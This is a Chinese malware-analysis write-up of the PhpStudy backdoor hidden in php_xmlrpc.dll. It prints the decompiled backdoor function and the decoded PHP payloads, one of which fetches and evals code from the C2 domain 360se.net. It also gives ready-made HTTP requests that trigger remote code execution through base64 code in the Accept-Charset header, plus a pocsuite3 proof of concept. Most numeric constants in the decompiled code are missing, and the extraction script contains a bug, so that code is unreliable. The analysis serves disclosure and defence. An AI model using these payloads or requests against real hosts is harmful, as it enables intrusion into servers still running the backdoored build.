PhpStudy BackDoor2019 深度分析

关于《PhpStudy BackDoor》风波已经过去有一段时间了，由于，前段时间一直忙于其它事情QAQ，今天有时间对该事件重新回溯&深度分析。

*严正声明：本文仅限于技术讨论与分享，严禁用于非法途径

背景分析

2019年9月20日，杭州市公安局举行新闻通报会，通报今年以来组织开展打击涉网违法犯罪暨“净网2019”专项行动战果，通报内容中提到国内著名的PHP调试环境程序集成包Phpstudy软件遭受到以马某为首的国内黑客团伙攻击并被植入后门。 Phpstudy集成环境包在国内的使用用户逾百万，据悉，此次后门攻击事件可追溯到2016年，屹今为止累计控制计算机逾67万台，该黑客团伙通过该后门获取的用户信息、各类系统账号信息进一步开展违法行为，累计非法牟利600余万元。

影响版本

phpStudy20180211版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll

phpStudy20161103版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll

环境准备

测试环境以“phpStudy20161103版本 php5.4.45”为例进行分析

ps:目前官方已更新旧版本程序，可自行下载 https://www.xp.cn

第一个是目前官方正常配置文件，第二个是被植入后门的配置文件，从图中直观的也能看出来两个文件的大小不一样！！分别对其进行Hash校验：

MD5(php_xmlrpc.dll)：c339482fd2b233fb0a555b629c0ea5d5

MD5(php_xmlrpc true.dll)：6ddb8f2af4b2b24671ddcd82d7c08c91

通过Hash校验发现两个文件的Hash值不一样！

后门分析

目前各大厂商已将此后门加入威胁情报库中，此处通过virustotal和火绒查看

从上图可以看到原始的php_xmlrpc.dll存在威胁，接下来开始对“php_xmlrpc.dll”进行深入分析......

通过IDA进行查看可以发现官方更新过的“php_xmlrpc.dll”文件已经不存在危险函数“sub_100031F0”，下面正式分析被植入后门的“php_xmlrpc.dll”

首先，用IDA打开“php_xmlrpc.dll”，shift+f12定位是否存在危险字符串

通过索引发现存在危险函数eval()

根据eval()函数定位到相应的代码段然后反编译伪代码找到后门危险函数“sub_100031F0”

“sub_100031F0”程序代码

int __cdecl sub_100031F0(int a1, int a2, _DWORD *a3)

{

  int v3; // edx

  int v4; // eax

  int v5; // ecx

  int v6; // eax

  int v7; // esi

  char *v8; // edi

  char *v9; // ecx

  int v10; // eax

  char *v11; // esi

  int v12; // eax

  char *v13; // edi

  char *v14; // ecx

  _DWORD *v15; // esi

  int v16; // eax

  void *v17; // edx

  int v18; // eax

  void *v19; // edi

  _DWORD *v20; // esi

  int result; // eax

  int v22; // eax

  int v23; // ecx

  int v24; // eax

  int v25; // edi

  _DWORD *v26; // esi

  char v27; // [esp+Dh] [ebp-19Bh]

  __int16 v28; // [esp+BDh] [ebp-EBh]

  char v29; // [esp+BFh] [ebp-E9h]

  char v30; // [esp+C0h] [ebp-E8h]

  char v31; // [esp+100h] [ebp-A8h]

  char v32; // [esp+140h] [ebp-68h]

  char v33; // [esp+180h] [ebp-28h]

  const char ***v34; // [esp+184h] [ebp-24h]

  int v35; // [esp+188h] [ebp-20h]

  int v36; // [esp+18Ch] [ebp-1Ch]

  int **v37; // [esp+190h] [ebp-18h]

  int v38; // [esp+194h] [ebp-14h]

  _DWORD **v39; // [esp+198h] [ebp-10h]

  void *v40; // [esp+19Ch] [ebp-Ch]

  char *v41; // [esp+1A0h] [ebp-8h]

  char *v42; // [esp+1A4h] [ebp-4h]

  memset(&v27, , 0xB0u);

  v28 = ;

  v3 = *a3;

  v29 = ;

  if ( *(_BYTE *)(*(_DWORD *)(v3 +  * core_globals_id - ) + ) )

    zend_is_auto_global(aServer, , a3);

  zend_hash_find(*(_DWORD *)(*a3 +  * executor_globals_id - ) + , aServer, , &v33);

  if ( zend_hash_find(*(_DWORD *)(*a3 +  * executor_globals_id - ) + , aServer, strlen(aServer) + , &v39) != -

    && zend_hash_find(**v39, aHttpAcceptEnco, strlen(aHttpAcceptEnco) + , &v34) != - )

  {

    if ( !strcmp(**v34, aGzipDeflate) )

    {

      if ( zend_hash_find(*(_DWORD *)(*a3 +  * executor_globals_id - ) + , aServer, strlen(aServer) + , &v39) != -

        && zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + , &v37) != - )

      {

        v40 = sub_100040B0(**v37, strlen((const char *)**v37));

        if ( v40 )

        {

          v4 = *(_DWORD *)(*a3 +  * executor_globals_id - );

          v5 = *(_DWORD *)(v4 + );

          *(_DWORD *)(v4 + ) = &v30;

          v35 = v5;

          v6 = setjmp3(&v30, );

          v7 = v35;

          if ( v6 )

            *(_DWORD *)(*(_DWORD *)(*a3 +  * executor_globals_id - ) + ) = v35;

          else

            zend_eval_string(v40, , &byte_10012884, a3);

          *(_DWORD *)(*(_DWORD *)(*a3 +  * executor_globals_id - ) + ) = v7;

        }

      }

    }

    else

    {

      v12 = strcmp(**v34, aCompressGzip);

      if ( !v12 )

      {

        v13 = &byte_10012884;

        v14 = (char *)&unk_1000D66C;

        v42 = &byte_10012884;

        v15 = &unk_1000D66C;

        while (  )

        {

          if ( *v15 ==  )

          {

            v13[v12] = ;

            v42[v12 + ] = *v14;

            v12 += ;

            v15 += ;

          }

          else

          {

            v13[v12++] = *v14;

            ++v15;

          }

          v14 += ;

          if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )

            break;

          v13 = v42;

        }

        spprintf(&v36, , aVSMS, byte_100127B8, Dest);

        spprintf(&v42, , aSEvalSS, v36, aGzuncompress, v42);

        v16 = *(_DWORD *)(*a3 +  * executor_globals_id - );

        v17 = *(void **)(v16 + );

        *(_DWORD *)(v16 + ) = &v32;

        v40 = v17;

        v18 = setjmp3(&v32, );

        v19 = v40;

        if ( v18 )

        {

          v20 = a3;

          *(_DWORD *)(*(_DWORD *)(*a3 +  * executor_globals_id - ) + ) = v40;

        }

        else

        {

          v20 = a3;

          zend_eval_string(v42, , &byte_10012884, a3);

        }

        result = ;

        *(_DWORD *)(*(_DWORD *)(*v20 +  * executor_globals_id - ) + ) = v19;

        return result;

      }

    }

  }

  if ( dword_10012AB0 - dword_10012AA0 >= dword_1000D010 && dword_10012AB0 - dword_10012AA0 <  )

  {

    if ( strlen(byte_100127B8) ==  )

      sub_10004480(byte_100127B8);

    if ( strlen(Dest) ==  )

      sub_10004380(Dest);

    if ( strlen(byte_100127EC) ==  )

      sub_100044E0(byte_100127EC);

    v8 = &byte_10012884;

    v9 = asc_1000D028;

    v41 = &byte_10012884;

    v10 = ;

    v11 = asc_1000D028;

    while (  )

    {

      if ( *(_DWORD *)v11 ==  )

      {

        v8[v10] = ;

        v41[v10 + ] = *v9;

        v10 += ;

        v11 += ;

      }

      else

      {

        v8[v10++] = *v9;

        v11 += ;

      }

      v9 += ;

      if ( (signed int)v9 >= (signed int)&unk_1000D66C )

        break;

      v8 = v41;

    }

    spprintf(&v41, , aEvalSS, aGzuncompress, v41);

    v22 = *(_DWORD *)(*a3 +  * executor_globals_id - );

    v23 = *(_DWORD *)(v22 + );

    *(_DWORD *)(v22 + ) = &v31;

    v38 = v23;

    v24 = setjmp3(&v31, );

    v25 = v38;

    if ( v24 )

    {

      v26 = a3;

      *(_DWORD *)(*(_DWORD *)(*a3 +  * executor_globals_id - ) + ) = v38;

    }

    else

    {

      v26 = a3;

      zend_eval_string(v41, , &byte_10012884, a3);

    }

    *(_DWORD *)(*(_DWORD *)(*v26 +  * executor_globals_id - ) + ) = v25;

    if ( dword_1000D010 <  )

      dword_1000D010 += ;

    ftime(&dword_10012AA0);

  }

  ftime(&dword_10012AB0);

  if ( dword_10012AA0 <  )

    ftime(&dword_10012AA0);

  return ;

}

首先分析spprintf()函数代码处功能，因为其对eval()函数进行了处理

spprintf(&v42, , aSEvalSS, v36, aGzuncompress, v42);

spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);

spprintf函数是php官方自己封装的函数，此处实际上实现的是字符串拼接功能，实际代码如下：

@eval(%s(',27h,'%s',27h,'));

@eval(gzuncompress(',27h,’v42′,27h,'));

@eval(gzuncompress(',27h,’v41′,27h,'));

ps:eval()函数中第一个%s位格式化字符串、第二个%s为字符串传参

可以看到上述代码主要对v41、v42数据进行解压执行操控，可以初步猜想恶意代码存在于v41和v42数据中，同理按照思路流程向上去找v41、v42数据内容，

对v41的处理代码

if ( strlen(byte_100127EC) ==  )

      sub_100044E0(byte_100127EC);

    v8 = &byte_10012884;

    v9 = asc_1000D028;

    v41 = &byte_10012884;

    v10 = ;

    v11 = asc_1000D028;

    while (  )

    {

      if ( *(_DWORD *)v11 ==  )

      {

        v8[v10] = ;

        v41[v10 + ] = *v9;

        v10 += ;

        v11 += ;

      }

      else

      {

        v8[v10++] = *v9;

        v11 += ;

      }

      v9 += ;

      if ( (signed int)v9 >= (signed int)&unk_1000D66C )

        break;

      v8 = v41;

    }

对v42的处理代码

if ( !v12 )

      {

        v13 = &byte_10012884;

        v14 = (char *)&unk_1000D66C;

        v42 = &byte_10012884;

        v15 = &unk_1000D66C;

        while (  )

        {

          if ( *v15 ==  )

          {

            v13[v12] = ;

            v42[v12 + ] = *v14;

            v12 += ;

            v15 += ;

          }

          else

          {

            v13[v12++] = *v14;

            ++v15;

          }

          v14 += ;

          if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )

            break;

          v13 = v42;

        }

分析代码可知v41数据内容是1000D028-1000D66C(基地址为10000000)范围内的数据，v42数据内容是1000D66C-1000E5C4(基地址为10000000)范围内的数据，使用010edit查看发现其均位于.data数据块

由于.data为dword类型每个值占用4个字节，代码处将其转换为char类型进行存储，然后使用php内置函数gzuncompress对其解压执行

使用微步情报局公开的解密脚本进行两段数据的提取解压

# -*- coding:utf-8 -*-

    # !/usr/bin/env python

    import os, sys, string, shutil, re

    import base64

    import struct

    import pefile

    import ctypes

    import zlib

    # import put_family_c2

    def hexdump(src, length=16):

        FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])

        lines = []

        for c in xrange(0, len(src), length):

            chars = src[c:c + length]

            hex = ' '.join(["%02x" % ord(x) for x in chars])

            printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.')

                                 for x in chars])

            lines.append("%04x  %-*s  %s\n" % (c, length * 3, hex, printable))

        return ''.join(lines)

    def descrypt(data):

        try:

            # data = base64.encodestring(data)

            # print(hexdump(data))

            num = 0

            data = zlib.decompress(data)

            # return result

            return (True, result)

        except Exception, e:

            print(e)

            return (False, "")

    def GetSectionData(pe, Section):

        try:

            ep = Section.VirtualAddress

            ep_ava = Section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase

            data = pe.get_memory_mapped_image()[ep:ep + Section.Misc_VirtualSize]

            # print(hexdump(data))

            return data

        except Exception, e:

            return None

    def GetSecsions(PE):

        try:

            for section in PE.sections:

                # print(hexdump(section.Name))

                if (section.Name.replace('\x00', '') == '.data'):

                    data = GetSectionData(PE, section)

                    # print(hexdump(data))

                    return (True, data)

            return (False, "")

        except Exception, e:

            return (False, "")

    def get_encodedata(filename):

        pe = pefile.PE(filename)

        (ret, data) = GetSecsions(pe)

        if ret:

            flag = "gzuncompress"

            offset = data.find(flag)

            data = data[offset + 0x10:offset + 0x10 + 0x567 * 4].replace("\x00\x00\x00", "")

            decodedata_1 = zlib.decompress(data[:0x191])

            print(hexdump(data[0x191:]))

            decodedata_2 = zlib.decompress(data[0x191:])

            with open("decode_1.txt", "w") as hwrite:

                hwrite.write(decodedata_1)

                hwrite.close

            with open("decode_2.txt", "w") as hwrite:

                hwrite.write(decodedata_2)

                hwrite.close

    def main(path):

        c2s = []

        domains = []

        file_list = os.listdir(path)

        for f in file_list:

            print f

            file_path = os.path.join(path, f)

            get_encodedata(file_path)

    if __name__ == "__main__":

        # os.getcwd()

        path = "php5.4.45"

        main(path)

运行结果生成两个数据文件分别对应v41、v42，查看数据内容是经过base64编码过的，对其解码

v41数据

@ini_set("display_errors","");

    error_reporting(0);

    $h = $_SERVER['HTTP_HOST'];

    $p = $_SERVER['SERVER_PORT'];

    $fp = fsockopen($h, $p, $errno, $errstr, 5);

    if (!$fp) {

    } else {

        $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";

        $out .= "Host: {$h}\r\n";

        $out .= "Accept-Encoding: compress,gzip\r\n";

        $out .= "Connection: Close\r\n\r\n";

        fwrite($fp, $out);

        fclose($fp);

    }

v41脚本：使用fsockopen模拟GET发包

v42数据

@ini_set("display_errors","");

    error_reporting(0);

    function tcpGet($sendMsg = '', $ip = '360se.net', $port = ''){

        $result = "";

      $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);

      if( !$handle ){

        $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);

        if( !$handle ){

            return "err";

        }

      }

      fwrite($handle, $sendMsg."\n");

        while(!feof($handle)){

            stream_set_timeout($handle, 2);

            $result .= fread($handle, 1024);

            $info = stream_get_meta_data($handle);

            if ($info['timed_out']) {

              break;

            }

         }

      fclose($handle);

      return $result;

    }

    $ds = array("www","bbs","cms","down","up","file","ftp");

    $ps = array("","","","","");

    $n = false;

    do {

        $n = false;

        foreach ($ds as $d){

            $b = false;

            foreach ($ps as $p){

                $result = tcpGet($i,$d.".360se.net",$p);

                if ($result != "err"){

                    $b =true;

                    break;

                }

            }

            if ($b)break;

        }

        $info = explode("<^>",$result);

        if (count($info)==4){

            if (strpos($info[3],"/*Onemore*/") !== false){

                $info[3] = str_replace("/*Onemore*/","",$info[3]);

                $n=true;

            }

            @eval(base64_decode($info[3]));

        }

    }while($n);

v42脚本：后门c2服务器(360se.net)(当前c2已经失活，因此不会对相关被控主机造成新的危害)

ps:从上面v41、v42数据的提取过程，可以发现攻击者对数据进行了压缩存储，增加了恶意代码的隐蔽性，同时c2服务器域名模仿了奇虎360公司相关产品名称，具有一定的欺诈特性。

分析反向连接c2后门

核心代码

v12 = strcmp(**v34, aCompressGzip);       // //compress,gzip

      if ( !v12 )

      {

        v13 = &byte_10012884;

        v14 = (char *)&unk_1000D66C;

        v42 = &byte_10012884;

        v15 = &unk_1000D66C;

        while (  )

        {

          if ( *v15 ==  )

          {

            v13[v12] = ;

            v42[v12 + ] = *v14;

            v12 += ;

            v15 += ;

          }

          else

          {

            v13[v12++] = *v14;

            ++v15;

          }

          v14 += ;

          if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )

            break;

          v13 = v42;

        }

        spprintf(&v36, , aVSMS, byte_100127B8, Dest);

        spprintf(&v42, , aSEvalSS, v36, aGzuncompress, v42);

        v16 = *(_DWORD *)(*a3 +  * executor_globals_id - );

        v17 = *(void **)(v16 + );

分析代码逻辑，首先想要执行

spprintf(&v42, , aSEvalSS, v36, aGzuncompress, v42);

必须满足if ( !v12 )

v12 = strcmp(**v34, aCompressGzip);

if ( !v12 )

定位aCompressGzip，只要ACCEPT_ENCODING等于compress,gzip即可出发v42恶意代码

构造相应Payload：

GET / HTTP/1.1

Host: x.x.x.x

…..

Accept-Encoding:compress,gzip

….

ps:由于C2服务器已经失效，不在进行后续操作

分析正向连接 RCE

在C2后门基础上向上接着分析

核心代码

if ( zend_hash_find(*(_DWORD *)(*a3 +  * executor_globals_id - ) + , aServer, strlen(aServer) + , &v39) != -

    && zend_hash_find(**v39, aHttpAcceptEnco, strlen(aHttpAcceptEnco) + , &v34) != - )

  {

    if ( !strcmp(**v34, aGzipDeflate) )

    {

      if ( zend_hash_find(*(_DWORD *)(*a3 +  * executor_globals_id - ) + , aServer, strlen(aServer) + , &v39) != -

        && zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + , &v37) != - )

      {

        v40 = sub_100040B0(**v37, strlen((const char *)**v37));

        if ( v40 )

        {

          v4 = *(_DWORD *)(*a3 +  * executor_globals_id - );

          v5 = *(_DWORD *)(v4 + );

          *(_DWORD *)(v4 + ) = &v30;

          v35 = v5;

          v6 = setjmp3(&v30, );

          v7 = v35;

          if ( v6 )

            *(_DWORD *)(*(_DWORD *)(*a3 +  * executor_globals_id - ) + ) = v35;

          else

            zend_eval_string(v40, , &byte_10012884, a3);

          *(_DWORD *)(*(_DWORD *)(*a3 +  * executor_globals_id - ) + ) = v7;

        }

      }

    }

分析代码逻辑

第一个if()，判断是否存在HTTP_ACCEPT_ENCODING字段，$_SERVER['HTTP_ACCEPT_ENCODING'] 为当前请求的 Accept-Encoding: 头部信息的内容。

第二个if()，在第一个if()基础上，判断$_SERVER['HTTP_ACCEPT_ENCODING'] 字段值是否是gzip,deflate。

第三个if()，在前两个if()的基础上，判断是否存在HTTP_ACCEPT_CHARSET字段，$_SERVER['HTTP_ACCEPT_CHARSET']为当前请求的 Accept-Charset: 头部信息的内容。

最后，在前三个if()的基础上，提取HTTP_ACCEPT_CHARSET字段值，并对该值进行base64解码，然后调用zend_eval_string(v40, 0, &byte_10012884, a3); 执行RCE。

构造相应Payload：

GET / HTTP/1.1

Host: x.x.x.x

…..

Accept-Encoding: gzip,deflate

Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==

….

EXP利用

后门RCE

exp构造

GET /phpinfo.php HTTP/1.1

Host: 192.168.43.146

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/ Firefox/67.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip,deflate

Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==

Connection: close

Upgrade-Insecure-Requests: 1

exp利用

Accept-Charset请求头字段值需要经过base64编码

c3lzdGVtKCJuZXQgdXNlciIpOw==

system("net user");

通过system函数查询的回显，可以看到后门RCE漏洞执行成功

ps:需要注意的一点，Accept-Encoding: gzip,deflate中，gzip,deflate之间不能存在空格，因为后门程序是进行的严格字符串匹配

POC构造

后门RCE

POC验证

POC代码编写利用创宇的pocsuite3框架进行编写，此处放上自己最初写的POC，只包含漏洞验证模块，因为本人已删掉attack模块（安全第一！！！）

import base64

import hashlib

import random

import urllib

from urllib.parse import urljoin, quote

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, get_listener_ip, get_listener_port

from pocsuite3.api import requests

from pocsuite3.lib.core.data import logger

from pocsuite3.lib.utils import get_middle_text

class DemoPOC(POCBase):

    vulID = ''  # ssvid

    version = '1.0'

    author = ['Qftm']

    vulDate = '2019-09-23'

    createDate = '2019-09-23'

    updateDate = '2019-09-23'

    references = ['https://www.seebug.org/vuldb/ssvid-93212']

    name = 'phpstudy backdoor'

    appPowerLink = 'http://www.finecms.net/show-1.html '

    appName = 'phpstudy'

    appVersion = 'version = 2018|2016'

    vulType = 'backdoor'

    desc = '''Phpstudy Backdoor RCE'''

    samples = []

    install_requires = ['']

    category = POC_CATEGORY.EXPLOITS.WEBAPP

    def _verify(self):

        result = {}

        try:

            vul_url = urljoin(self.url, '/')

            rand_num = random.randint(0, 1000)

            hash_flag = hashlib.md5(str(rand_num).encode()).hexdigest()

            print(vul_url)

            prexp = '''echo '{}' ;'''.format(hash_flag)

            exp = base64.b64encode(prexp.encode()).decode()

            headers = {'Accept-Encoding': 'gzip,deflate',

                       'Accept-Charset': '{}'.format(exp)

                       }

            r = requests.post(vul_url, headers=headers)

            if r.status_code != 404:

                if hash_flag in r.text:

                    print(r.headers.get("Location"))

                    result['VerifyInfo'] = {}

                    result['VerifyInfo']['URL'] = self.url

        except Exception as ex:

            logger.exception(ex)

        return self.parse_output(result)

    def _attack(self):

        result = {}

        return self.parse_output(result)

    def parse_output(self, result):

        output = Output(self)

        if result:

            output.success(result)

        else:

            output.fail('target is not vulnerable')

        return output

register_poc(DemoPOC)

漏洞验证机制使用随机数产生的MD5值（hash_flag）进行校验，首先判断网页是否是404提高命中率，然后根据网页返回来的内容，比对查看是否包含相应的hash_flag，如果包含则证明存在后门RCE，否则不存在。

验证效果

漏洞预防

1、内部排查确认受影响的Phpstudy环境PC主机，进行安全扫描处理（火绒、360安全卫士等）、清除可能存在的可疑程序。

2、对受影响的Phpstudy环境PC主机上的用户账号信息做登录日志审计、及时更换相关账号密码，防止账号密码早已泄露，造成危害。

3、到官网进行下载更新，校验hash。

参考链接

https://mp.weixin.qq.com/s/CqHrDFcubyn_y5NTfYvkQw

https://www.freebuf.com/articles/others-articles/215406.html#

https://mp.weixin.qq.com/s?__biz=MzI5NjA0NjI5MQ==&mid=2650165920&idx=1&sn=ac45922b6cf1db0f3d3cf0a10872be06&chksm=f448a91cc33f200a32cdbd01535e227a4a81cd3ce843992e410d0e4d5b772914d1ac3d6324fe&mpshare=1&scene=1&srcid=&sharer_sharetime=1569082336079&sharer_shareid=050fef71c2c8c2cd7ebc8d5cccf6b556#rd